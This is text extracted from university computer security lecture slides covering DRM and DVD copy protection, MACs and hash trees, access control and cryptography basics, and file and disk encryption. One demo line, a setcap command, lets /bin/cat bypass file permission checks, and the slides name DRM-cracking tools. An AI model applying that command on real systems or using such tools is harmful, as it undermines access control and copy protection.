Computer Security Exam

profileMalikbinn
CPSC353PowerPoints-B.zip

Ch10-DRM.pptx

Digital Rights Management

12/1/2010

Digital Rights Management

1

1

Introduction

Digital Rights Management (DRM) is a term used for systems that restrict the use of digital media

DRM defends against the illegal altering, sharing, copying, printing, viewing of digital media

Copyright owners claim DRM is needed to prevent revenue lost from illegal distribution of their copyrighted material

12/1/2010

Digital Rights Management

2

2

DRM Content and Actions

There are many capabilities covered by DRM

12/7/2010

Digital Rights Management

3

Possible Actions and Restrictions:

Play once

Play k times

Play for a set time period

Play an unlimited amount

Copy

Burn to physical media

Lend to a friend

Sell

Transfer to a different device

Digital content:

Videos

Music

Audio books

Digital books

Software

Video games

Digital Rights Management

Early U.S. Copyright History

US Constitution, Article 1, Section 8

“The Congress shall have the Power … To promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries”

Copyright Act of 1790

"the author and authors of any map, chart, book or books already printed within these United States, being a citizen or citizens thereof....shall have the sole right and liberty of printing, reprinting, publishing and vending such map, chart, book or books...."

Citizens could patent books, charts, or maps for a period of 14 years – Could renew for another 14 years if you were alive

Non-citizens and works form other countries not protected

Other laws followed to change the Act slightly

12/1/2010

Digital Rights Management

4

Copyright Act of 1976

Could copyright literary works, musical works, dramatic works, choreographic works, graphical works, motion pictures, and sound recordings (architectural works added in 1990)

Copyright holders had exclusive right to reproduce, create derivative works of the original, sell, lease, or rent copies to the public, perform publicly, display publicly

Could hold copyright for 28 years with a possible 28 year extension

Rights of copyright holders are limited slightly by sections 107 through section 118 – Often referred to as Fair Use

12/1/2010

Digital Rights Management

5

Fair Use Doctrine

Various purposes for which reproducing a particular work is considered fair use

Criticism, comment, news reporting, teaching, scholarship and research

Four factors are considered when determining if it is fair use [17 U.S.C. § 106]

The purpose and character of the use, including whether such use is for commercial nature or is for nonprofit educational purposes;

The nature of the copyrighted work;

The amount and substantiality of the portion used in relation to the copyrighted work as a whole; and

The effect of use upon the potential market for or value of the copyrighted work

12/1/2010

Digital Rights Management

6

Sony vs. Universal Studios

In the 1970s, Sony invented Betamax, a video tape recording format similar to VHS

Could be used to record copyrighted broadcasts

At the same time, some movie studios created Discovision which was a large disk that would disintegrate after a few plays

In 1976 Universal Studios and Disney sued Sony for all the lost profits and tried to ban the use of Video Tape Recorders (VTR)

District Court for the Central District of California rejected the claim on the basis that noncommercial use of VTRs was considered fair use

Court of Appeals for the Ninth Circuit reversed the ruling and held Sony liable for aiding in copyright infringement

12/1/2010

Digital Rights Management

7

Sony vs. Universal Studios (cont.)

In 1984, the Supreme Court had to decide on the issue – Is selling VTRs to the general public aid in copyright infringement of public broadcasts?

The Supreme Court eventually ruled that “the sale of the VTR’s to the general public does not constitute contributory infringement of copyrights”

Concluded that most copyright holders who license there work for public broadcast would not mind having their broadcasts recorded on to a Betamax tape by viewers

Betamax was ruled that it fell under the Fair Use clause

Case often referred to by future copyright lawsuits including the Napster case

12/1/2010

Digital Rights Management

8

Digital Millennium Copyright Act (DMCA)

Signed into law by President Clinton on October 28th, 1998

Illegal to circumvent anti-piracy measures built into software

Unlawful to create, sell, or distribute devices that illegally copy software

Legal to crack copyright protection to conduct encryption research, assess product interoperability, and test computer security systems

Provides exceptions to nonprofit libraries, archives, and educational institutions in some cases

ISPs are not held accountable for transmitting information resulting from their customers infringements

Service providers are required to remove material when found

Congress passed the law with almost no opposition

Congress held the impression that it was merely a technical issue and not one of impact to public policy

Highly lobbied by the industry

12/1/2010

Digital Rights Management

9

Dmitry Skylarov and Ed Felten

Dmitry Skylarov

Worked for Elcomsoft in Russia and created product that converts Adobe secure eBook to unprotected PDF (legal in Russia)

While in the US, Skylarov was arrested and placed in jail for DMCA violations

Eventually Elcomsoft was sued and Skylarov was released

Professor Edward Felten of Princeton

In 2000, the Secure Digital Music Initiative (SDMI) invited researchers to try and break their watermark technology

Felten and his team were able to remove the watermarks and wrote a paper to be presented at a conference

SDMI and RIAA threatened to take legal action against Felten

Felten withdrew from conference but talked about the threats

Felten with help of the Electronic Frontier Foundation sued RIAA and SDMI

SDMI and RIAA withdrew their threat

Felten eventually presented the paper at a different conference

12/1/2010

Digital Rights Management

10

Copy Protection Methods

Dongle

Pluggable hardware device that contains a secret value required to run the software

Product key

Required to be entered by installation software

Online check for duplicate use

Hardware and OS fingerprinting to bind license to machine

Phone activation

Human-to-human interaction servers as deterrent

12/1/2010

Digital Rights Management

11

The Analog Hole

Every copy protection mechanism is open to the risk of the “analog hole”, that is, recording the content as it is being played

12/7/2010

Digital Rights Management

12

analog

hole

DRM Media File Example

Step 1:

A media server sends to the player the media file encrypted with the file key and the file key encrypted with the player key

12/7/2010

Digital Rights Management

13

Player

Server

Unprotected Storage

C

encrypted media file

G

encrypted file key

C

G

DRM Media File Example

Digital Rights Management

14

Player

Unprotected Storage

M

media file

P

player key

Decrypt

C

G

F

file key

Decrypt

Step 2:

The player first decrypts the file key using the player key and then decrypts the media file with the file key.

Traitors Tracing

A controller distributes protected content to a collection of devices

The devices share a common symmetric key with the controller

Each content item is encrypted with the shared key and broadcast to all the devices

Some devices (traitors) are cloned or used to illegally copy and distribute protected content

Problems:

Identifying traitors

Revoking traitors

12/1/2010

Digital Rights Management

15

Logical Key Hierarchy

Balanced binary tree of symmetric encryption keys

Devices associated with leaves, each holding the keys on the path to the root

Content encrypted with the key of a node v can be decrypted by all the devices in the subtree of v

12/1/2010

Digital Rights Management

16

K2

K3

K4

K5

K1

Revocation of a Device

If a device needs to be revoked, the keys known to this device must be changed and the new keys must be distributed

The distribution of new keys can be done with a logarithmic number of encrypted broadcast messages

12/1/2010

Digital Rights Management

17

Encrypted Broadcasts

Content hierarchy with various subscription packages

Each content item is encrypted with a single symmetric key before broadcasting

Subscriber authorized to view item must have the key to decrypt the item

Single key per node allows computation of keys of descendant nodes

Key distribution problem

12/1/2010

Digital Rights Management

18

Sport

Economy

News

Local

US

World

Finance

Business

All

CD/DVD Protection

Most CD/DVDs are protected so they cannot be copied

CDs are not indestructible and backups are required

Legal to make backups of CDs you own in most countries – Not legal to sell

Most protection technologies encrypt the files using a key that is added to the disc as a digital signature

Almost every encryption technique has been cracked

12/1/2010

Digital Rights Management

19

CD/DVD Protection

Technically, it is impossible to completely prevent users from copying media they purchase

Bit-by-bit copy of software

Recording of music using microphones

Recording of movies using cameras

Scanning of text media

Given enough time and resources, any media can be copied

Most companies realize they cannot stop “professionals” from duplicating but they try to stop the casual user from copying

12/1/2010

Digital Rights Management

20

SafeDisc V1 and V2

Copy protection created by MacroVision

Games starting in 1999 were protected

Based on having read errors on the original disc

CD burners had to be able to copy the errors exactly as is

Version 2Has bad sectors like version 1 but also has “weak” sectors

Weak sectors often become bad sectors when copying

Uniform bit-patterns are hard to write for many CD writers – Some people allege hardware manufacturers may have done this on purpose to aid CD copy protection

Easy to break

1:1 CD-Copy using several CD copy programs

SafeDisc Patches: Generic SafeDisc Patch, Daemon Tools

Executable UnWrappers: unSafeDisc, DumPlayerx

12/1/2010

Digital Rights Management

21

DVD copy protection

Traditional recording media (e.g., audio tape, VHS tape) for audio and video are analog and used different standards NTSC, PAL, SECAM ...

Piracy is not too big of a concern because quality degrades with each copy generation.

With digital recording and high-resolution video, DVD copy protection was a big issue to the movie industry.

In fact, it took about 2 years after the invention of DVD to put DVD movies on the shelf. Part of it is due to the development of a reasonable copy protection scheme.

12/1/2010

Digital Rights Management

22

How Studios Split our Planet

12/1/2010

Digital Rights Management

23

DVD Region Code Symbol

A region code byte is recorded on a disc

DRM Architecture

Proposed by the Copy Protection Technical Working Group for DVD (CPTWG), IBM, Intel, Matsushita, Toshiba.

Idea:

Alice sells Bob a video, in order for Alice to prevent Bob from re-disseminating the video to others, Alice tries to make sure that Bob only accesses the video data on a trusted (or compliant) device

12/1/2010

Digital Rights Management

24

Trusted Devices

A trusted device is manufactured by a trusted manufacturer.

A manufacturer is trusted if it has joined the Copy Control Association (CCA)

A trusted device is given a (secret) player key

The trusted manufacturer has to sign an agreement with CCA, basically barring it from making devices that could undermine the copy protection mechanism.

Since 2000, manufacturers must produce DVD ROM drivers compliant with=RPC 2 (Region Playback Control)

12/2/2010

Digital Rights Management

25

In most cases, a DVD (video disk) is protected by the CSS scheme. Intuitively, the video content is encrypted using a disc key, k.

In the lead-in area of a CSS-protected DVD, the disk’s key k is encrypted about 400 times, each using a different player key.

A DVD player with the ith player key will read the ith entry of the key block. This entry is then decrypted using the player key ki to obtain the disk key k.

The video content is then decrypted on-the-fly while the movie is played.

Using a normal DVD writer the copy will not have the key block and disk will not be playable

if someone decrypts a video, with special tools (HW or SW), it is possible make pirated copies with the lead-in key block or without CSS (i.e., decrypted).

CSS: Content Scrambling System

12/2/2010

Digital Rights Management

26

Lead-in

with

Key block

copy

decrypt and write

unencrypted

Lead-in

without

Key block

26

Viewing a DVD

12/2/2010

Digital Rights Management

27

Encrypted Content

Disc Key

Title Key

Encrypted Content

Title Key

Player Key

Decrypt Disc Key

Decrypt Title Key

Decrypt Content

(To Output Device)

CSS Keys

Authentication Key

Used for mutual authentication

Session/Bus Key

negotiated during authentication

encrypt title and disk keys before sending them over the unprotected bus

Prevent eavesdropping

Player Key

Licensed by the “DVD Copy Control Association” to the manufacturer of a DVD player

Stored within the player

Authenticates the player

Used to decrypt disk key.

Disk Key

Used to decrypt the title key

Title Key

This key is XORed with a per-sector key to encrypt the data within a sector

Sector Key

Each sector has a 128-byte plain-text header

Bytes 80 - 84 of each sector’s header contain an additional key used to encode the data within the sector

12/2/2010

Digital Rights Management

28

DeCSS

Created in 1999 by Jon Johansen

Decrypts CSS and allows for copying files to hard drive

At the time, little information known about CSS algorithm

DeCSS came with the source code that showed how easy it was to crack CSS

Technique used for creating open source DVD players that could run on Linux

First in a long line of DVD decrypting programs

Johansen was sued by the DVD-CCA but case was dropped

Mass pirating occurred far before DeCSS was published

DVD writers are unable to write to the region that CSS writes

Most DVD copies done using special equipment that copy bit by bit

12/2/2010

Digital Rights Management

29

Advanced Access Content System

New standard for DRM that allows for limited sharing and copying of next generation DVDs

Developed by Microsoft, Sony, Disney, IBM, Matsushita, and Warner Brothers

Used in Blu-Ray

Method

Based on broadcast encryption

Revocation of traitors

12/2/2010

Digital Rights Management

30

Ch08-DataIntegrity.pptx

Data Integrity: Applications of Cryptographic Hash Functions

12/7/2010

1

Data Integrity

Message Authentication Code (MAC)

Cryptographic hash function h(K,M) with two inputs:

Secret key K

Message M

Message integrity with MAC

Sequence of messages transmitted over insecure channel

Secret key K shared by sender and recipient

Sender computes MAC c = h(K,M) and transmits it along with message M

Receiver recomputes MAC from received message and compares it with received MAC

Attacker cannot compute correct MAC for a forged message

More efficient than signing each message

Secret key can be sent in a separate encrypted and signed message

12/7/2010

Data Integrity

2

M

c

sent message

Compute c = h(K,M)

Compute d = h(K,M′)

Accept if d = c′

M′

c′

received message

HMAC

Building a MAC from a cryptographic hash function is not immediate

Because of the iterative construction of standard hash functions, the following MAC constructions are insecure:

h(KM)

h(MK)

h(KMK)

HMAC provides a secure construction:

h(K  Ah(K  B M))

A and B are constants

Internet standard used, e.g., in IPSEC

HMAC security is the same as that of the underlying cryptographic hash function

12/7/2010

Data Integrity

3

Securing a Communication Channel

Assuring both integrity and confidentiality of messages transmitted over an insecure channel

Sign and encrypt

The encrypted pair (message, signature) is transmitted

MAC and encrypt

The encrypted pair (message, MAC) is transmitted

Secret key for MAC can be sent in separate message

More efficient than sign and encrypt

MAC is shorter and faster to compute than signature and verification

Alternatively, signing or applying MAC could be done on encrypted message

12/7/2010

Data Integrity

4

M

sig

M

MAC

encrypted

encrypted

Hash Chain

Repeated cryptographic hashing starting from a random value r

xn = r

xi = h(xi +1) for i = n-1 … 1

Sequence x1 x2 … xn is pseudo-random

Applications

One-time passwords

Incremental micropayments (PayWord)

Key property for security is preimage resistance of hash function

5

x2

x3

x4

x5

x6

x1

hash

reveal

12/7/2010

Data Integrity

Validation Chain

Validation chain over a sequence of plaintexts p1, p2 , …, pn

xn+1= 0

xi = h(pi || xi+1 ) for i = n … 1

Incremental stream authentication [Gennaro Rohatgi]

transmit signed x1

transmit packets (p1, x2), (p2, x3), …, (pn-1, xn), (pn, xn+1)

each packet contains the hash of the next packet

the integrity of the first hash implies the integrity of the rest

any prefix of the stream is signed and cannot be repudiated

constant overhead (one hash per plaintext)

one signature (slow), n hash computations (fast)

offline method, requires reliable transmission

6

p1, x2

p2, x3

p3, x4

p4, x5

p5, 0

sig, x1

12/7/2010

Data Integrity

Hash Tree

Balanced binary tree defining a hierarchical hashing scheme over a set of items

a = h(x1, x2)

b = h(x3, x4)

c = h(a, b)

The root hash is a hierarchical digest of entire set

[Merkle]

7

x2

x1

x4

x3

x5

x7

x6

a

b

c

x8

12/7/2010

Data Integrity

Hash Tree Authentication

Assumptions

Collision resistant hash function

Root hash is known

Membership proof of an item

path from the item to the root (L/R sequence) plus hash values of sibling nodes

logarithmic size and verification time

Example

g = h(h(a, h(x3, x4)), d)

The proof of x4 is the sequence [(x3, L), (a , L), (d, R)]

8

x2

x1

x4

x3

x5

x7

x6

a

b

e

f

c

d

g

x8

12/7/2010

Data Integrity

Stream Authentication with Packet Losses

Sequence of plaintexts to be transmitted p1, p2 , …, pn

Build a hash tree on top of items (i, pi)

Transmit the signed root hash

For each item pi, transmit packet (i, pi, proof(i,pi))

Logarithmic space overhead and verification time per packet

Lost packets do not prevent authentication of future packets

Off-line scheme

9

12/7/2010

Data Integrity

introduction.pptx

Introduction to Computer Security (CS-353)

Session 1

‹#›/51

Hi everyone. My name is Mikhail I. Gofman. It’s Great to be here.

I will be presenting our work titled Preserving confidentiality in Virtual Machine Checkpointing and Role Based Access Control

1

Course Information

Course: CS-353-01 (3 credits)

Time: M-W-Th 6:00 – 9:00 PM

Place: CS104

Course Website: Titanium

Instructor: Mr. Heckathorn

Email: [email protected]

Office: CS-401

Office Hours:M-W-Th 4:45-5:45

‹#›/51

Prerequisites

Passing the Exam in Programming Proficiency or enrollment in CPSC 301, or have the permission of the CS department.

Failure to meet the prerequisites may result in you being dropped administratively.

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

3

Course Objectives

Cyber attacks are growing in number and sophistication.

Consequences: privacy violations, financial losses, divulgence of national secrets, and much more.

Both public and private sectors need cybsersecurity-aware professionals.

Course Objectives: To learn about different kinds of cyber threats and countermeasures.

Topics Covered:

Physical Security

System Security

Malware

Cryptography

Network Security

Virtualization and Cloud Security

Web Security

Distributed Systems Security

Ethics

Others

‹#›/51

My talk will consist of 3 parts.

First, I will present a mechanism for protecting confidential information stored in the virtual machine checkpoints.

I will then present efficient algorithms for efficient analysis of Administrative Role Based Access Control policies.

Finally, I will conclude with a discussion of the future work.

4

Texts

Michael T. Goodrich and Roberto Tamassia, Introduction to Computer Security, ISBN-13: 978-0-321-51294-9, ISBN-10: 0-321-51294-4.

All additional materials shall be posted on Titanium.

‹#›/51

Assignments

Written assignments: may be done by groups of 2 students unless specified otherwise.

Note* Both names on the file, equal credit for both

Programming assignments:

To be done individually.

Must use Linux OS unless otherwise specified.

May use C, C++, Java, or C# (ask for other languages).

All completed assignments must be submitted via Email.

Late assignments shall be penalized 10% per day.

No assignment shall be accepted after 3 days from the deadline.

‹#›/51

Quizzes

In-Class quizzes:

Closed book.

Test your understanding of the material presented in class.

Missed quizzes shall earn a grade of 0 (unless you can provide written evidence of a legitimate excuse e.g. doctor’s note).

Take-home quizzes:

Require critical thinking (and creativity!).

Late submissions shall be penalized 10%.

No quiz shall be accepted after 24 hours from the deadline.

‹#›/51

Exams

Final exam is comprehensive and open book.

Final Exam: 5/27/2019 6-9 PM.

Missed exams shall be dealt with according to University policies on incompletes and withdrawals.

‹#›/51

Final Project

Can either be a written research project or a programming project.

The final projects may be done in groups of 3.

A list of topics shall be posted on Titanium.

No more than 2 groups shall be assigned the same topic.

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Attendance and Participation

The attendance is mandatory and shall be taken at beginning of every class.

Participate in class discussions (don’t be afraid!).

Ask questions!

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Extra Credit

Some assignments, projects, exams, and quizzes may include bonus sections.

No other forms of extra credit shall be granted.

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Asking Questions

Never be afraid to ask:

In class or after class.

During office hours.

Make Google your friend (can’t beat the availability and response time!)

‹#›/51

Class Cancellation Policy

All class cancellations shall be announced by email.

Instructor does not arrive within the first 15 minutes of class = class is canceled.

‹#›/51

Academic Honesty

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Academic Honesty

Incidents of cheating shall be treated with utmost seriousness.

You may discuss the problems with other students, however, you must write your own solutions.

Discussing solutions to the problem is NOT acceptable.

Copying an assignment from another student or allowing another student to copy your work may lead to an automatic F for this course.

If you have any questions about whether an act of collaboration may be treated as academic dishonesty, please consult the instructor before you collaborate.

Moss shall be used to detect plagiarism in programming assignments.

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Emergency Policy

Please familiarize yourself with the actions to take in case of an emergency.

The information can be found at http://prepare.fullerton.edu/

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Disabled Student Services

Information for students with disabilities can be found at: http://www.fullerton.edu/DSS/

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Course Syllabus

You are required to read the syllabus!

A copy of the syllabus is available on Titanium.

If something is not clear, ask the instructor.

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Fundamental Concepts

Goodrich Chapter 1

‹#›/51

19

My First Day at CSUF

‹#›/51

Why is cyber crime on the rise?

Systems with legacy features not designed for security.

Growth of the internet.

Complex systems with vulnerabilities.

Coping with cyber threats:

Sound models that:

Define the important security properties

Anticipate cyber threats

Incorporate defense mechanisms.

Sound implementations that are rigorously tested for security vulnerabilities.

Monitor deployed systems and quickly resolve any detected security breaches.

‹#›/51

What is Information Security?

Confidentiality, Integrity, Availability (C.I.A)

Confidentiality: avoidance of unauthorized disclosure of information.

Confidentiality can be provided through:

Encryption: transforming information such that the result cannot be read without the knowledge of some secret key.

Access Control: restricting access of information to only authorized individuals/systems.

Authentication: establishing the identity of the individual or system prior to granting access.

Physical Security: establish physical barriers that prevent access to the system.

‹#›/51

What is Information Security?

Confidentiality, Integrity, Availability (C.I.A).

Integrity: preventing information from being altered in unauthorized ways.

Backups: periodic archiving of data.

Checksum: a function that maps the contents of a file to a numerical value.

Slight changes in the file content trigger huge changes in the numerical value.

Data correcting codes: store data in such a way that changes can be easily detected and corrected.

Question: to protect integrity of a file, is it sufficient to simply protect the file content?

No! We also must protect file attributes

(e.g. file creator, owner, date created, etc)!

‹#›/51

What is Information Security?

Confidentiality, Integrity, Availability (C.I.A).

Availability: information is accessible and modifiable in a timely fashion by those authorized to do so.

Physical protections: infrastructure designed to keep information available in the presence of physical challenges.

Computational Redundancies: computers and storage devices that serve as fallback in case of failure.

‹#›/51

What is Information Security?

Assurance, Authenticity, Anonymity (A.A.A): a modern addition to the classical concepts of C.I.A.

Assurance: how the trust is provided and managed.

Policies: specify behavioral expectations that people and systems have for themselves and others.

Permissions: describe behaviors that are allowed by the agents that interact with a person or system.

Protections: mechanisms to enforce permissions and policies.

‹#›/51

Admittingly, trust is difficult to quantify. However, we know that it involves a degree to which we trust the system.

25

What is Information Security?

Assurance, Authenticity, Anonymity (A.A.A)

Authenticity: ability to determine that the statements made by people or systems are genuine:

Nonrepudiation: authentic statements cannot be denied. Can be achieved through digital signatures.

Digital Signature: a cryptographic computation based on the contents of the statement, that enables nonrepudiation.

Similar to the real-world, traditional signatures.

If the message contents change, so will their digital signature (unlike in traditional signature).

‹#›/51

What is Information Security?

Assurance, Authenticity, Anonymity (A.A.A)

Anonymity: certain records or transactions are not attributable to any specific individual.

Aggregation: combining information from many individuals e.g. through sums or averages that cannot be tied to a specific individual.

Mixing: intertwining of transactions, information, or communications in a way that cannot be traced to any individual.

Proxies: trusted agents that are willing to engage in actions for an individual in a way that cannot be traced back to that individual.

Pseudonyms: fictional identities used in real transactions.

‹#›/51

Types of Cyberatacks

Eavesdropping: unauthorized interception of information that was meant for someone else.

Alteration: unauthorized modification of information.

Example: the man in the middle attack: network stream is intercepted, modified, and retransmitted.

Denial-of-service (DoS): interruption or degradation of data service or information access.

Masquerading: the fabrication of information that is purported to be from someone who is not actually the author.

Repudiation: the denial or commitment of data receipt.

Correlation and traceback: integration of multiple data sources and information flows in order to obfuscate the source of information.

‹#›/51

Defending Against Attacks: Access Control

Restricts access of information to only authorized individuals/systems.

Protects confidentiality, integrity, and anonymity.

Different approaches:

Access control matrices

Access control lists (ACLs)

Capabilities

Role Based Access Control

Best practice: enforce the principle of least privilege: i.e. restrict access only to those who need it.

‹#›/51

Defending Against Attacks: Access Control

Access control matrix:

/etc/passwd /usr/bin /u/roberto/ /admin
root read,write read,write, exec read,write, exec read,write,exec
mike read read,exec
roberto read read,exec read,write, exec
backup read read,exec read,exec read,exec

‹#›/51

Defending Against Attacks: Access Control

Access control lists (ACLs):

/etc/passwd

/usr/bin

root: r,w

mike: r

roberto: r

backup: r

root: r,w,x

mike: r,x

roberto: r,x

backup: r,x

root: r,w,x

backup: r,x

root: r,w,x

backup: r,x

/admin/

/u/roberto

‹#›/51

Defending Against Attacks: Access Control

Access control lists in Linux (Demo):

Use the setfacl command to set permissions.

Use getfacl command to retrieve permissions.

Example: setfacl -m u:lisa:r file: grant user lisa permission to read file file.

Example: setfacl –x u:lisa file: revoke all permissions of user lisa on file file.

See https://access.redhat.com/site/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/s1-acls-setting.html for more information.

Preserving Confidentiality in Virtual Machine Checkpointing and Role Based Access Control

‹#›/51

Defending Against Attacks: Access Control

Capabilities:

root

/etc/passwd: r,w,x;

/usr/bin: r,w,x;

/u/roberto: r,w,x

/admin/: r,w,x

mike

/etc/passwd: r,w,x;

/usr/bin: r,x

roberto

/etc/passwd: r;

/usr/bin: r;

/u/roberto r,x;

/admin/: r,x;

backup

/etc/passwd: r,x;

/usr/bin: r,x;

/u/roberto r,x;

/admin/: r,x;

‹#›/51

Defending Against Attacks: Access Control

Capabilities in Linux (Demo):

Permissions are associated with programs (unlike with users, as on the previous diagram).

Use setcap command to set up permissions.

Use getcap command to retrieve permissions.

Example: setcap cap_dac_override=ep /bin/cat: when accessing files, the process bypasses read, write, execute permission checks.

See http://man7.org/linux/man-pages/man7/capabilities.7.html for more information.

‹#›/51

Defending Against Attacks: Access Control

Role Based Access Control (RBAC): Users are assigned to roles and roles are associated with permissions.

A role is typically a job function or a position in an organization e.g. doctor, nurse, etc.

A user has a permission only if he is assigned to some role with that permission.

Examples:

Role Doctor has the permission to grant prescriptions: (Doctor, grantPrescriptions).

User Bob is assigned to role Doctor: (Bob,Doctor).

Hence, Bob has the permission to grant prescriptions.

Widely used in large organizations.

‹#›/51

Defending Against Attacks: Access Control

Systems that use RBAC:

Microsoft Active Directory

Microsoft SQL Server

SELinux

Grsecurity

FreeBSD

Solaris

Oracle DBMS

PostgreSQL 8.1

Wikipedia

Many others

‹#›/51

Defending Against Attacks: Access Control

Access Control Matrix vs RBAC Example: 1000 users where each user has 10 identical permissions:

Access control matrix: 1000 * 10 = 10,000 permission assignments!

RBAC: define role r and assign the 10 permissions to the role. Next, assign 1000 users to role r.

10 role-permission assignments + 1,000 user-role assignments = 1,010 assignments.

‹#›/51

Defending Against Attacks: Access Control

RBAC Role Hierarchy:

r1  r2: r1 inherits from r2, r1 is senior to r2.

Permission flows up, Membership flows down.

Every member of r1 is a member of r2.

Members of r1 have all the permissions that members of r2 have.

Faculty

TA

Univ-Employee

Student

Univ-Member

Assign grades

Assign homework scores

Receive health benefits

Register for Courses

Use gym

Bob is a Student

Alice is a TA

Jack is a faculty

‹#›/51

38

Defending Against Attacks: Access Control

RBAC Separation of Duty Constraints:

Prevent a single user from garnering too much authority.

Two types:

Static Separation of Duty (SSD)

Dynamic Separation of Duty (DSD)

‹#›/51

39

Defending Against Attacks: Access Control

SSD: constraints on assignment of user to role.

If user is member of one role, it gets no membership for other role.

(DeptChair, Dean) ∈ SSD

A user cannot be in both Deptchair and Dean roles

Constraints are inherited within role hierarchy.

(DeptChair, Dean) ∈ SSD, Provost  Dean

 (DeptChair, Provost) ∈ SSD

Example:

‹#›/51

40

Static separation of duty places constraint on assignment of users to roles. If (r1,r2) \in ssd, then if the user has been assigned to role r1, then the user cannot be assigned to r2. For example, we can specify that a user cannot be in both deptchair and dean roles as … Further, static separation of duty constraint can be inherited. For example, given this separate of duty constraint and the role hierarchy which specifies that role provost is senior to dean, then (..) is also a static separation of duty constraint.

Defending Against Attacks: Access Control

DSD: User cannot act simultaneously in both roles,

Cashier

Correct Error

Supervisor

Closes Cashier Role session

Opens Supv Role session

Accounting Error

(Supervisor, Cashier) ∈ DSD

A user cannot invoke both Supervisor and Cashier roles at the same time

Example:

‹#›/51

41

Defending Against Attacks: Cryptography

Encryption: enables two parties to establish confidential communications over an insecure channel.

Key idea: instead of transmitting the original message, transmit a ciphertext of the message.

Plaintext: the original message

Ciphertext: plaintext after transformation by an encryption algorithm.

Decryption algorithm: transforms ciphertext back into plaintext.

Example: Let P,C,E,D represent plaintext, ciphertext, encryption algorithm, and decryption algorithm respectively.

C = E(P)

P = D(C)

‹#›/51

Defending Against Attacks: Cryptography

Cryptosystem components:

The set of all possible plaintexts

The set of all possible ciphertexts

The set of keys encryption and decryption keys i.e. secret numbers or strings shared between the communicating parties:

Encryption key: used for encrypting the plaintext

Decryption key: used for deciphering the ciphertext

The correspondence between encryption and decryption keys.

The encryption/decryption algorithm.

‹#›/51

Defending Against Attacks: Cryptography

Types of cryptography:

Symmetric: the same key is used for encryption and decryption.

Public-key: each user has a public Pb and private key Pr.

The keys are mathematically linked: what is encrypted using Pb can be decrypted using Pr and vice-versa.

Same key cannot be used for both encryption and decryption.

‹#›/51

Defending Against Attacks: Cryptography

Symmetric vs Public-Key:

Public-key: easy to provide digital signatures:

encrypt the message Pr

publish Pb.

Anybody can verify the signature by checking if the message is decryptable using Pb.

Symmetric: in practice is faster than public-key.

We need both: use public-key cryptography to securely distribute the symmetric key and then use symmetric cryptography to encrypt all communications.

More details later in the course.

‹#›/51

Implementation and Usability Issues

Security solutions should not be in the way of usability:

Example: encrypting network communications should not prohibitively slow down the network.

Example: passwords should be easy to remember but hard to guess:

e.g. “Mark took Lisa to Disneyland on March 15” = MtLtDoM15 (or MtL+DoM15 since “t” looks like “+”).

‹#›/51

Acknowledgements

Some slides borrowed from Dr. Ping Yang at Binghamton University.

‹#›/51

Next Class

Physical Security (Goodrich Chapter 2).

‹#›/51

Ch09-SecureStorage.pptx

Secure Storage

1

Lost Laptops

Lost and stolen laptops are a common occurrence

Estimated occurrences in US airports every week: 12,000

Average cost of a lost laptop for a corporation is $50K

Costs include data breach, intellectual property loss, forensics, lost productivity, legal and regulatory expenses

Data breach much more serious than hardware loss

Encryption decreases cost by $20K

The existence of a full backup increases cost

Data breach cost estimated at $200 per customer record

Direct costs include discovery, notification and response

Indirect costs include customer turnover (higher loss and lower acquisition)

Data can also be copied while laptop is unattended

2

Ponemon Institute. Research Studies & White Papers: Security

Other Data Protection Scenarios

Defending against loss of USB drives and smart phones

Defending against data-stealing malware

Defending against equipment seizure

Donating decommissioned machines

Recycling obsolete or faulty machines

Off-site backups

Cloud storage

3

Password-Based File Encryption

Microsoft Office 97/2003

40-bit encryption key

Guaranteed cracking in two weeks with standard PC

Microsoft Office 2007

AES encryption

Default 128-bit key size can be increased to 256

Secret key derived from password by iteratively hashing salted password 50,000 times with SHA-1

Adobe Acrobat 9

AES encryption

256-bit keys

Secret key derived from password by hashing salted password once with SHA-256, which is faster than SHA-1 …

Elcomsoft markets password-recovery tools

Crack attempts per second: 5K Office 2007 vs. 75M for Acrobat 9

4

Encryption of File Systems

Disk encryption

Block-level encryption

Encryption of physical or logical drive

BitLocker in Windows Vista and 7

TrueCrypt open source software

File system encryption

File-level encryption

Encrypting File System (EFS) in Windows

5

Sharing Encrypted Files

Solution A

Encrypt file with symmetric key K

Share K with authorized users

Users need to keep many keys

User revocation requires redistributing new key

Solution B

Different symmetric keys K1, …, Kn for authorized users

Encrypt file multiple times with K1, …, Kn

Inefficient in terms of space and computing time

Solution C

Encrypt file with single symmetric key K

Encrypt K with public keys of authorized users PK1, …, PKn

Store with file EPK1(K), …, EPKn(K)

6

Encrypting File System (EFS)

Available in Windows since Windows 2000

Features

Work transparently by providing automatic encryption/decryption of files in specified folders

Protects file content but not file name and other metadata

Supports sharing of encrypted files

Keys unlocked on successful user login

Latest version uses RSA, SHA-256, and AES

Issues

Protection only local to file system

File copied to another file system is decrypted

Email attachment sent decrypted

File content may be leaked to unprotected temporary files

Key management is cumbersome

7

EFS Keys

Users have public-private key pairs

Each file is encrypted with a different symmetric file encryption key (FEK)

FEK is encrypted with public key of file owner and other authorized users

Data Decryption Fields (DDF) stored in file header (metadata)

ID of authorized user

FEK encrypted with public key of user

Data Recovery Fields (DRFs) provide additional encrypted FEKs, associated with recovery agents

8

EPK1(FEK)

ID1

EPK2(FEK)

ID2

EPK3(FEK)

ID3

EFEK(file contents)

Working with EFS

Initial encryption

File encrypted when created or EFS initialized

DDF of file owner created and added to file header

Adding new authorized user

DDF of new user created and added to file header

Any authorized user can add other users

Removing authorized user

DDF of revoked user removed from file header

File should be re-encrypted with new FEK, but is not …

9

BitLocker

Targets lost-laptop scenario

Encrypts NTFS volumes

All disk sectors encrypted with symmetric encryption method

Key can be provided by user at boot time

